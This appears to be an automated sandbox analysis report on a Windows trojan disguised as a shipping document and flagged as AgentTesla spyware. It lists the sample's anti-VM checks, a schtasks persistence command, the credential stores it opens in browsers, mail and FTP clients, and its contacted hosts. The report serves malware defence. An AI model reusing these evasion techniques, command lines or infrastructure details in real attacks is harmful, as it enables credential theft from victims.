Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM_3

Show sources

Source: Yara match	File source: 00000000.00000002.226479893.00000000025B4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.226386287.0000000002531000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BL Draft Copy #747470.exe PID: 6844, type: MEMORY

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: BL Draft Copy #747470.exe, 00000000.00000002.226479893.00000000025B4000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: BL Draft Copy #747470.exe, 00000000.00000002.226479893.00000000025B4000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Window / User API: threadDelayed 2428			Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Window / User API: threadDelayed 7435			Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe TID: 6848	Thread sleep time: -49250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe TID: 6368	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe TID: 6320	Thread sleep count: 2428 > 30	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe TID: 6320	Thread sleep count: 7435 > 30	Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: BL Draft Copy #747470.exe, 00000000.00000002.226479893.00000000025B4000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: BL Draft Copy #747470.exe, 00000003.00000002.612962694.0000000006280000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: BL Draft Copy #747470.exe, 00000000.00000002.226479893.00000000025B4000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: BL Draft Copy #747470.exe, 00000003.00000002.612962694.0000000006280000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: BL Draft Copy #747470.exe, 00000003.00000002.612962694.0000000006280000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: BL Draft Copy #747470.exe, 00000000.00000002.226479893.00000000025B4000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: BL Draft Copy #747470.exe, 00000000.00000002.226479893.00000000025B4000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools
Source: BL Draft Copy #747470.exe, 00000003.00000002.612962694.0000000006280000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

3_2_01420A70

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\myAHtoyS' /XML 'C:\Users\user\AppData\Local\Temp\tmpCBE8.tmp'			Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Process created: C:\Users\user\Desktop\BL Draft Copy #747470.exe C:\Users\user\Desktop\BL Draft Copy #747470.exe			Jump to behavior

Source: BL Draft Copy #747470.exe, 00000003.00000002.608543811.0000000001A40000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: BL Draft Copy #747470.exe, 00000003.00000002.608543811.0000000001A40000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: BL Draft Copy #747470.exe, 00000003.00000002.608543811.0000000001A40000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: BL Draft Copy #747470.exe, 00000003.00000002.608543811.0000000001A40000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Users\user\Desktop\BL Draft Copy #747470.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Users\user\Desktop\BL Draft Copy #747470.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000003.00000002.601678251.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.226895744.0000000003622000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.226756558.0000000003539000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BL Draft Copy #747470.exe PID: 6984, type: MEMORY
Source: Yara match	File source: Process Memory Space: BL Draft Copy #747470.exe PID: 6844, type: MEMORY
Source: Yara match	File source: 3.2.BL Draft Copy #747470.exe.400000.0.unpack, type: UNPACKEDPE

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\Desktop\BL Draft Copy #747470.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BL Draft Copy #747470.exe PID: 6984, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000003.00000002.601678251.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.226895744.0000000003622000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.226756558.0000000003539000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BL Draft Copy #747470.exe PID: 6984, type: MEMORY
Source: Yara match	File source: Process Memory Space: BL Draft Copy #747470.exe PID: 6844, type: MEMORY
Source: Yara match	File source: 3.2.BL Draft Copy #747470.exe.400000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Scheduled Task/Job1	Process Injection12	Disable or Modify Tools1	OS Credential Dumping2	File and Directory Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job1	Boot or Logon Initialization Scripts	Scheduled Task/Job1	Deobfuscate/Decode Files or Information1	Input Capture111	System Information Discovery114	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Credentials in Registry1	Query Registry1	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing2	NTDS	Security Software Discovery321	Distributed Component Object Model	Input Capture111	Scheduled Transfer	Application Layer Protocol111	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading1	LSA Secrets	Virtualization/Sandbox Evasion14	SSH	Clipboard Data1	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion14	Cached Domain Credentials	Process Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection12	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
BL Draft Copy #747470.exe	44%	Virustotal		Browse
BL Draft Copy #747470.exe	35%	ReversingLabs	ByteCode-MSIL.Trojan.Wacatac
BL Draft Copy #747470.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\myAHtoyS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\myAHtoyS.exe	35%	ReversingLabs	ByteCode-MSIL.Trojan.Wacatac

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
3.2.BL Draft Copy #747470.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://mail.unique-skill.com	0%	Avira URL Cloud	safe
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
https://api.ipify.org%GETMozilla/5.0	0%	URL Reputation	safe
https://api.ipify.org%GETMozilla/5.0	0%	URL Reputation	safe
https://api.ipify.org%GETMozilla/5.0	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://FaDvCC.com	0%	Avira URL Cloud	safe
http://Jneszaj6A5TZOa4IbKa.net	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://api.ipify.org%$	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
shared116.accountservergroup.com	162.215.249.91	true	false		high
mail.unique-skill.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://Jneszaj6A5TZOa4IbKa.net	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://mail.unique-skill.com	BL Draft Copy #747470.exe, 00000003.00000002.610247504.0000000003281000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:HTTP/1.1	BL Draft Copy #747470.exe, 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://api.ipify.org%GETMozilla/5.0	BL Draft Copy #747470.exe, 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://DynDns.comDynDNS	BL Draft Copy #747470.exe, 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://FaDvCC.com	BL Draft Copy #747470.exe, 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	BL Draft Copy #747470.exe, 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	BL Draft Copy #747470.exe, 00000000.00000002.226386287.0000000002531000.00000004.00000001.sdmp	false		high
http://shared116.accountservergroup.com	BL Draft Copy #747470.exe, 00000003.00000002.610247504.0000000003281000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	BL Draft Copy #747470.exe, 00000000.00000002.226895744.0000000003622000.00000004.00000001.sdmp, BL Draft Copy #747470.exe, 00000003.00000002.601678251.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.ipify.org%$	BL Draft Copy #747470.exe, 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.215.249.91	unknown	United States		394695	PUBLIC-DOMAIN-REGISTRYUS	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	344998
Start date:	27.01.2021
Start time:	15:37:53
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	BL Draft Copy #747470.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/5@4/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 0.7% (good quality ratio 0.6%) Quality average: 55.1% Quality standard deviation: 29.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 78 Number of non-executed functions: 2
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 104.43.193.48, 104.43.139.144, 168.61.161.212, 23.210.248.85, 51.104.144.132, 95.101.22.216, 95.101.22.224, 93.184.221.240, 51.103.5.186, 20.54.26.129, 51.11.168.160, 52.155.217.156 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, wns.notify.windows.com.akadns.net, arc.msn.com, wu.azureedge.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, emea1.notify.windows.com.akadns.net, audownload.windowsupdate.nsatc.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, wu.wpc.apr-52dd2.edgecastdns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, client.wns.windows.com, fs.microsoft.com, wu.ec.azureedge.net, ris-prod.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, par02p.wns.notify.trafficmanager.net, vip2-par02p.wns.notify.trafficmanager.net Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:38:47	API Interceptor	1171x Sleep call for process: BL Draft Copy #747470.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
162.215.249.91	Validation updates.exe	Get hash	malicious	Browse
162.215.249.91	EjEbJrIL5M.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
shared116.accountservergroup.com	Validation updates.exe	Get hash	malicious	Browse	162.215.249.91
shared116.accountservergroup.com	EjEbJrIL5M.exe	Get hash	malicious	Browse	162.215.249.91

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	Statement of Account as of Jan_27 2021.xlsm	Get hash	malicious	Browse	208.91.199.150
	HTG-9087650.exe	Get hash	malicious	Browse	208.91.198.143
	TACSAL.xlsx	Get hash	malicious	Browse	208.91.199.225
	PO#21010028 - SYINDAC QT-00820_pdf.exe	Get hash	malicious	Browse	208.91.199.223
	para.exe	Get hash	malicious	Browse	208.91.199.225
	AWB 9899691012 TRACKING INFO_pdf.exe	Get hash	malicious	Browse	208.91.199.224
	para.exe	Get hash	malicious	Browse	208.91.199.224
	SIC_9827906277.pdf.exe	Get hash	malicious	Browse	208.91.198.143
	Quotation Prices.exe	Get hash	malicious	Browse	208.91.199.223
	SecuriteInfo.com.Trojan.PackedNET.519.20020.exe	Get hash	malicious	Browse	208.91.199.225
	Shipping_Details.exe	Get hash	malicious	Browse	204.11.58.28
	Request.xlsx	Get hash	malicious	Browse	103.53.40.13
	HTG-9066543.exe	Get hash	malicious	Browse	208.91.199.223
	vA0mtZ7JzJ.exe	Get hash	malicious	Browse	216.10.246.131
	New Order #21076.exe	Get hash	malicious	Browse	208.91.199.224
	k.dll	Get hash	malicious	Browse	162.215.252.76
	HTMY-209871640.exe	Get hash	malicious	Browse	208.91.198.143
	SecuriteInfo.com.Artemis707F61F6A223.exe	Get hash	malicious	Browse	208.91.199.225
	SecuriteInfo.com.Trojan.DownLoader36.37393.26064.exe	Get hash	malicious	Browse	43.225.55.205
	New order.PDF.exe	Get hash	malicious	Browse	208.91.199.224

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\BL Draft Copy #747470.exe.log Download File
Process:	C:\Users\user\Desktop\BL Draft Copy #747470.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4x84qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4j:MIHK5HKXE1qHxviYHKhQnoPtHoxHhAHY
MD5:	69206D3AF7D6EFD08F4B4726998856D3
SHA1:	E778D4BF781F7712163CF5E2F5E7C15953E484CF
SHA-256:	A937AD22F9C3E667A062BA0E116672960CD93522F6997C77C00370755929BA87
SHA-512:	CD270C3DF75E548C9B0727F13F44F45262BD474336E89AAEBE56FABFE8076CD4638F88D3C0837B67C2EB3C54055679B07E4212FB3FEDBF88C015EB5DBBCD7FF8
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Temp\tmpCBE8.tmp Download File
Process:	C:\Users\user\Desktop\BL Draft Copy #747470.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1641
Entropy (8bit):	5.184319550582037
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/Q7hxlNMFp1/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBptn:cbh47TlNQ//rydbz9I3YODOLNdq3t
MD5:	EA820972FA2CCF8B35D40CA1210C43A5
SHA1:	F325CC00E898EB253AD5537DC3A54DCAA68E93E4
SHA-256:	47F45706B26E170F985B2883DB4DFB3943962AC5ADF8093E18D483C554DE27FF
